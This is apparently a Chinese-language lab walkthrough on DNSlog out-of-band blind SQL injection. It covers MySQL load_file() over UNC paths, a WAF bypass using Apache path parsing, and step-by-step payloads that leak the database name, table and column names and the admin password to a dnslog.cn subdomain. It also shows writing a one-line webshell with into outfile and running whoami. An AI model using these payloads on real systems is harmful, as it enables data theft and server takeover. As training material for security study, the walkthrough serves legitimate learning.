DNSlog【解决繁琐的盲注】介绍注入原理DNSlog使用场景DNSlog函数解析
LOAD_FILe() 读取文件的函数LOAD_FILe()函数用UNC路径来发起请求DNSlog平台
目标没网的情况 练习【附WAF介绍】一句话木马
DNSlog【解决繁琐的盲注】介绍DNS => 是一个域名系统,是一项网络服务,它作为将域名和IP地址相互映射的一个分布 式数据库,能够使人更方便地访问互联网,DNS注入就是利用了DNS这个通道。【域名解析】
LOG => 日志
dns-log => 域名解析日志【记录别人来查询域名和ip的对应】
DNSlog使用场景通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志
- 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban,所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。能够使用DNS注入的网站,代表都可以使用load_file去读取文件,实际上可以尝试去读取一些敏感文件,也许运气好,读到了管理员的账号密码,或者是一些敏感信息其实都是可能的!
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
转义字符: 让代码变成字符串 (字符串里面用的)\
路径里面: \ 、 /
load_file() 在高版本的mysql中被限制
这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=,点击重启即可。
局域网里做传输建议用HFS。load_file()可以读取文件、本机文件、远程文件。这个东西需要手动开启,它的作用?
1、有的版本自动开启
2、有的网站他们需要这个功能
3、有的运维、开发顺手开了
LOAD_FILe()函数用UNC路径来发起请求
\Laptop-u50007qf钉钉即为UNC路径。
UNC路径:windows自带的文件分享、网上邻居等服务中,windows服务叫做smb [文件共享服务] ,之前互联网的带宽还是很低,人们传输文件通过电脑自带的共享功能。UNC路径就是类似\softer这样的形式的网络路径。它符合 \servernamesharename 格式,其中 servername 是服务器名或者域名,sharename 是共享资源的名称。目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servernamesharenamedirectoryfilename。当得到域名后首先需要使用dns来解析域名,即可留下日志。load_file()函数中也可以使用UNC地址。 DNSlog平台
http://dnslog.cn/
- 盲注的靶场可以用dnslog,因为dnslog核心就是解决繁琐的盲注。这种方法属于oob【核心是将数据外带出来】的分支,例如报错注入。前提:目标必须有网。linux不一定可以使用dns注入,因为linux默认不自带smb。数据库版本低【低版本中是开启的,高版本是需要自己配置】,或者配置文件改过【secure_file_priv=】
into outfile 'C:666.txt' 【将查询结果输出保存到一个文件中】
load_file('D:\1.txt')【用于读取文件内容,并返回输出】
select 1 into outfile 'D:666.txt';练习【附WAF介绍】
- 我们查看源码提示id值传参。我们尝试?id=1 and 1=1,发现提示网站防火墙。这里网页存在WAF【web应用防火墙,大部分防护网站规则是正则表达式】,waf是网页的安全软件,可以防止输入恶意的传参来获取一些敏感信息:绕过方法可以用txt、jpg、png文件格式进行绕过,有些不会去检测。因为安全狗认为txt文件不会造成传参,所以不会检测txt。
apache解析规则:1.php/1.txt,它会认为1.php是文件,1.txt是内容,若找不到1.txt这个内容,则会将1.php/1.txt整体当作php文件进行解析;如果后端是JS,则要绕过需要采取另外的方法。使用index3.php/1.txt?id=1【白名单绕过】,注意网页一定是index3.php
使用/1.txt?id=1 and 1=1同样回显正确。/1.txt?id=1 and 1=2同样回显正常。/1.txt?id=1 and sleep(5)发现网页存在延时注入。index3.php/1.txt?id=1 and load_file(concat('//',database(),'.vgjchy.dnslog.cn/123'))得到数据库的库名,其中123为函数需要,存不存在无所谓。
8.?id=1 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.vgjchy.dnslog.cn/123'))得出表名为admin、news。
id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.vgjchy.dnslog.cn/123'))得出admin表中的字段有id、username、password。同理news表中的字段有id、content。index3.php/1.txt?id=1 and load_file(concat('//',(select password from mangzhu.admin),'.vgjchy.dnslog.cn/123'))得出admin表中的字段password中的内容即为flag。
后端代码很强大,可以操纵目标主机。
127.0.0.1/2.php?8=echo `whoami`;
使用菜刀可修改目标主机中文件的修改时间等等。上面的练习题同样可用union select语句将一句话木马写入,使用报错路径,写入后使用菜刀连接即可连接目标主机。
http://59.63.200.79:8014/index3.php/1.txt?id=1 into outfile 'C:\phpStudy\WWW\111.php' http://59.63.200.79:8014/111.php/1.txt



